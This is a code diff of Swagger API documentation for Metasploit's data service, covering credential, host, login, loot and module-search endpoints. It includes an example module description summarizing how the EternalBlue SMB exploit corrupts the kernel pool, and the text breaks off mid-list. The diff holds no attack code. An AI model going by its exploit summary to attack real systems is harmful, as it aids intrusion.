# Swagger documentation for /api/v1/credentials/ DELETE
|
||||
operation :delete do
|
||||
key :description, 'Delete the specified credentials.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns an array containing the successfully deleted credentials.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/credentials/{id}' do
|
||||
# Swagger documentation for api/v1/credentials/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return credential that is stored in the database.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :workspace
|
||||
parameter :non_dead
|
||||
parameter :address
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of credential to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns credential data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#Swagger documentation for /api/v1/credentials/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing credential.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :update_id
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The updated attributes to overwrite to the credential.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Credential
|
||||
property :data do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# This endpoint is NYI.
|
||||
#
|
||||
# # Swagger documentation for /api/v1/credentials/ DELETE
|
||||
# operation :delete do
|
||||
# key :description, 'Delete the specified credentials.'
|
||||
# key :tags, [ 'credential' ]
|
||||
#
|
||||
# parameter :delete_opts
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Successful operation'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
end
|
||||
|
||||
# This endpoint is NYI.
|
||||
#
|
||||
# swagger_path '/api/v1/credentials/:id' do
|
||||
# # Swagger documentation for api/v1/credentials/:id GET
|
||||
# operation :get do
|
||||
# key :description, 'Return credentials that are stored in the database.'
|
||||
# key :tags, [ 'credential' ]
|
||||
#
|
||||
# parameter :workspace
|
||||
# parameter :non_dead
|
||||
# parameter :address
|
||||
#
|
||||
# parameter do
|
||||
# key :name, :id
|
||||
# key :in, :path
|
||||
# key :description, 'ID of credential to retrieve'
|
||||
# key :required, true
|
||||
# key :type, :integer
|
||||
# key :format, :int32
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Returns credential data'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
|
||||
# This endpoint is NYI.
|
||||
#
|
||||
# Swagger documentation for /api/v1/credentials/:id PUT
|
||||
# operation :put do
|
||||
# key :description, 'Update the attributes an existing credential.'
|
||||
# key :tags, [ 'credential' ]
|
||||
#
|
||||
# parameter :update_id
|
||||
#
|
||||
# parameter do
|
||||
# key :in, :body
|
||||
# key :name, :body
|
||||
# key :description, 'The updated attributes to overwrite to the credential'
|
||||
# key :required, true
|
||||
# schema do
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Successful operation'
|
||||
# schema do
|
||||
# key :type, :object
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
#end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -28,11 +28,27 @@ module DbExportApiDoc
|
|||
response 200 do
|
||||
key :description, 'A JSON object containing the Base64 encoded backup file.'
|
||||
schema do
|
||||
property :db_export_file do
|
||||
key :type, :string
|
||||
property :data do
|
||||
property :db_export_file do
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -48,12 +48,27 @@ module EventApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Event
|
||||
property :data do
|
||||
key :'$ref', :Event
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -56,10 +56,25 @@ module ExploitApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Exploit
|
||||
property :data do
|
||||
key :'$ref', :Exploit
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -104,12 +104,28 @@ module HostApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns host data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Host
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/hosts POST
|
||||
|
@ -151,10 +167,25 @@ module HostApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Host
|
||||
property :data do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -167,14 +198,30 @@ module HostApiDoc
|
|||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns an array containing the successfully deleted hosts.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Host
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -184,10 +231,6 @@ module HostApiDoc
|
|||
key :description, 'Return specific host that is stored in the database.'
|
||||
key :tags, [ 'host' ]
|
||||
|
||||
parameter :workspace
|
||||
parameter :non_dead
|
||||
parameter :address
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
|
@ -200,12 +243,25 @@ module HostApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns host data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
property :data do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/hosts/:id PUT
|
||||
|
@ -226,12 +282,27 @@ module HostApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns host data.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Host
|
||||
property :data do
|
||||
key :'$ref', :Host
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,235 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module LoginApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
CORE_ID_DESC = 'The ID of the Metasploit::Credential::Core object this login is associated with.'
|
||||
CORE_DESC = 'The Metasploit::Credential::Core object that corresponds to the credential pair this login attempt used.'
|
||||
SERVICE_ID_DESC = 'The ID of the service object that this login was attempted against.'
|
||||
ACCESS_LEVEL_DESC = 'A free-form text field that can be used to annotate the access level of this login.'
|
||||
ACCESS_LEVEL_EXAMPLE = "'admin', 'sudoer', or 'user'"
|
||||
STATUS_DESC = 'The result of the login attempt.'
|
||||
LAST_ATTEMPTED_AT_DESC = 'The date and time the login attempt occurred.'
|
||||
SERVICE_NAME_DESC = 'The name of the service that the login was attempted against.'
|
||||
SERVICE_NAME_EXAMPLE = 'ssh'
|
||||
ADDRESS_DESC = 'The IP address of the host/service this login was attempted against.'
|
||||
ADDRESS_EXAMPLE = '127.0.0.1'
|
||||
PORT_DESC = 'The port the service was listening on.'
|
||||
PORT_EXAMPLE = '22'
|
||||
PROTOCOL_DESC = 'The protocol the service was using.'
|
||||
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
|
||||
# Values from lib/metasploit/model/login/status.rb in the metasploit-model repo
|
||||
STATUS_ENUM = [
|
||||
'Denied Access',
|
||||
'Disabled',
|
||||
'Incorrect',
|
||||
'Locked Out',
|
||||
'No Auth Required',
|
||||
'Successful',
|
||||
'Unable to Connect',
|
||||
'Untried'
|
||||
]
|
||||
|
||||
# Swagger documentation for Login model
|
||||
swagger_schema :Login do
|
||||
key :required, [:address, :name]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :core_id, type: :integer, format: :int32, required: true, description: CORE_ID_DESC
|
||||
property :service_id, type: :integer, format: :int32, required: true, description: SERVICE_ID_DESC
|
||||
property :access_level, type: :string, description: ACCESS_LEVEL_DESC, example: ACCESS_LEVEL_EXAMPLE
|
||||
property :status, type: :string, description: STATUS_DESC, required: true, enum: STATUS_ENUM
|
||||
property :last_attempted_at, type: :string, format: :date_time, description: LAST_ATTEMPTED_AT_DESC
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/logins' do
|
||||
# Swagger documentation for /api/v1/logins GET
|
||||
operation :get do
|
||||
key :description, 'Return logins that are stored in the database.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns login data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/logins POST
|
||||
operation :post do
|
||||
key :description, 'Create a login.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the login.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :core, '$ref' => :Credential, required: true, description: CORE_DESC
|
||||
property :last_attempted_at, type: :string, format: :date_time, required: true, description: LAST_ATTEMPTED_AT_DESC
|
||||
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
|
||||
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
|
||||
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
|
||||
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
|
||||
property :status, type: :string, required: true, description: STATUS_DESC, enum: STATUS_ENUM
|
||||
property :access_level, type: :string, description: ACCESS_LEVEL_DESC, example: ACCESS_LEVEL_EXAMPLE
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/logins/ DELETE
|
||||
operation :delete do
|
||||
key :description, 'Delete the specified logins.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns an array containing the successfully deleted logins.'
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/logins/{id}' do
|
||||
# Swagger documentation for api/v1/logins/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return specific login that is stored in the database.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of login to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns login data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/logins/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing login.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
parameter :update_id
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The updated attributes to overwrite to the login.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -48,12 +48,28 @@ module LootApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns loot data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Loot
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/loots POST
|
||||
|
@ -80,10 +96,25 @@ module LootApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Loot
|
||||
property :data do
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -96,49 +127,73 @@ module LootApiDoc
|
|||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns an array containing the successfully deleted loot.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Loot
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/loot/{id}' do
|
||||
# Swagger documentation for api/v1/loot/:id GET
|
||||
swagger_path '/api/v1/loots/{id}' do
|
||||
# Swagger documentation for api/v1/loots/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return specific loot entry that is stored in the database.'
|
||||
key :tags, [ 'loot' ]
|
||||
|
||||
# TODO: Add this back in when this endpoint is implemented, tracked in MS-3233.
|
||||
#
|
||||
# operation :get do
|
||||
# key :description, 'Return specific loot entry that is stored in the database.'
|
||||
# key :tags, [ 'loot' ]
|
||||
#
|
||||
# parameter :workspace
|
||||
#
|
||||
# parameter do
|
||||
# key :name, :id
|
||||
# key :in, :path
|
||||
# key :description, 'ID of loot to retrieve.'
|
||||
# key :required, true
|
||||
# key :type, :integer
|
||||
# key :format, :int32
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Returns loot data.'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
# key :'$ref', :Loot
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of loot to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/loot/{id} PUT
|
||||
response 200 do
|
||||
key :description, 'Returns loot data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/loots/{id} PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing loot.'
|
||||
key :tags, [ 'loot' ]
|
||||
|
@ -156,12 +211,27 @@ module LootApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Loot
|
||||
property :data do
|
||||
key :'$ref', :Loot
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,189 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module ModuleSearchApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
APP_DESC = 'Filter modules that are client or server attacks. (Accepts strings \'client\' or \'server\').'
|
||||
ARCH_DESC = 'Filter modules with a matching architecture.'
|
||||
AUTHOR_DESC = 'Filter modules written by a matching author.'
|
||||
AUTHORS_DESC = 'Alias for \'author\'.'
|
||||
BID_DESC = 'Filter modules with a matching Bugtraq ID.'
|
||||
CVE_DESC = 'Filter modules with a matching CVE ID.'
|
||||
EDB_DESC = 'Filter modules with a matching Exploit-DB ID.'
|
||||
DESCRIPTION_DESC = 'Filter modules with a matching description.'
|
||||
DISCLOSURE_DATE_DESC = 'Filter modules with a matching disclosure date.'
|
||||
DATE_DESC = 'Alias for \'disclosure_date\'.'
|
||||
FULL_NAME_DESC = 'Filter modules with a matching full name.'
|
||||
IS_CLIENT_DESC = 'Filter modules that are client attacks. (Accepts strings \'true\' or \'false\').'
|
||||
IS_SERVER_DESC = 'Filter modules that are server attacks. (Accepts strings \'true\' or \'false\').'
|
||||
IS_INSTALL_PATH_DESC = 'Filter modules that by value of \'is_install_path\'. (Accepts strings \'true\' or \'false\').'
|
||||
MOD_TIME_DESC = 'Filter modules with a matching modification time.'
|
||||
NAME_DESC = 'Filter modules with a matching descriptive name.'
|
||||
PATH_DESC = 'Filter modules with a matching path name.'
|
||||
PLATFORM_DESC = 'Filter modules affecting a matching platform, arch, or target.'
|
||||
OS_DESC = 'Alias for \'platform\'.'
|
||||
PORT_DESC = 'Filter modules with a matching port.'
|
||||
RPORT_DESC = 'Alias for \'port\'.'
|
||||
RANK_DESC = 'Filter modules with a matching rank. Accepts numeric values with optional comparison operators (ex: 200, gt500, lte300).'
|
||||
REFERENCE_DESC = 'Filter modules with a matching reference (CVE, BID, EDB, etc.).'
|
||||
REFERENCES_DESC = 'Alias for \'reference\'.'
|
||||
REF_NAME_DESC = 'Filter modules with a matching ref_name.'
|
||||
REF_DESC = 'Alias for \'ref_name\'.'
|
||||
TARGET_DESC = 'Filter modules with a matching target.'
|
||||
TARGETS_DESC = 'Alias for \'target\'.'
|
||||
TEXT_DESC = 'Filter modules matching any one of name, full name, description, reference, author, or targets.'
|
||||
TYPE_DESC = 'Filter modules with a matching type (exploit, auxiliary, payload, etc.).'
|
||||
FIELDS_DESC = 'Provide a comma-delimited list of metadata fields you would like to return. If left blank, all fields will be returned. Valid field names are: \'name\', \'full_name\', \'fullname\', \'arch\', \'author\', \'author\', \'description\', \'disclosure_date\', \'cve\', \'edb\', \'bid\', \'mod_time\', \'is_client\', \'is_server\', \'is_install_path\', \'os\', \'platform\', \'reference\', \'references\', \'ref_name\', \'ref\', \'path\', \'port\', \'rport\', \'rank\', \'type\', \'target\', \'targets\''
|
||||
|
||||
TYPE_ENUM = [
|
||||
'auxiliary',
|
||||
'encoder',
|
||||
'exploit',
|
||||
'nop',
|
||||
'payload',
|
||||
'post',
|
||||
''
|
||||
]
|
||||
|
||||
NAME_EXAMPLE = 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption'
|
||||
FULL_NAME_EXAMPLE = 'exploit/windows/smb/ms17_010_eternalblue'
|
||||
DISCLOSURE_DATE_EXAMPLE = '2017-03-14T00:00:00.000-05:00'
|
||||
RANK_EXAMPLE = '200'
|
||||
TYPE_EXAMPLE = 'exploit'
|
||||
DESCRIPTION_EXAMPLE = 'This module is a port of the Equation Group ETERNALBLUE exploit, part of\n the FuzzBunch toolkit released by Shadow Brokers.\n\n There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size\n is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a\n DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow\n is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later\n completed in srvnet!SrvNetWskReceiveComplete.\n\n This exploit, like the original may not trigger 100% of the time, and should be\n run continuously until triggered. It seems like the pool will get hot streaks\n and need a cool down period before the shells rain in again.\n\n The module will attempt to use Anonymous login, by default, to authenticate to perform the\n exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use\n those instead.\n\n On some systems, this module may cause system instability and crashes, such as a BSOD or\n a reboot. This may be more likely with some payloads.'
|
||||
AUTHOR_EXAMPLE = [
|
||||
'Sean Dillon <sean.dillon@risksense.com>',
|
||||
'Dylan Davis <dylan.davis@risksense.com>',
|
||||
'Equation Group',
|
||||
'Shadow Brokers',
|
||||
'thelightcosine'
|
||||
]
|
||||
REFERENCES_EXAMPLE = [
|
||||
'AKA-ETERNALBLUE',
|
||||
'MSB-MS17-010',
|
||||
'CVE-2017-0143',
|
||||
'CVE-2017-0144',
|
||||
'CVE-2017-0145',
|
||||
'CVE-2017-0146',
|
||||
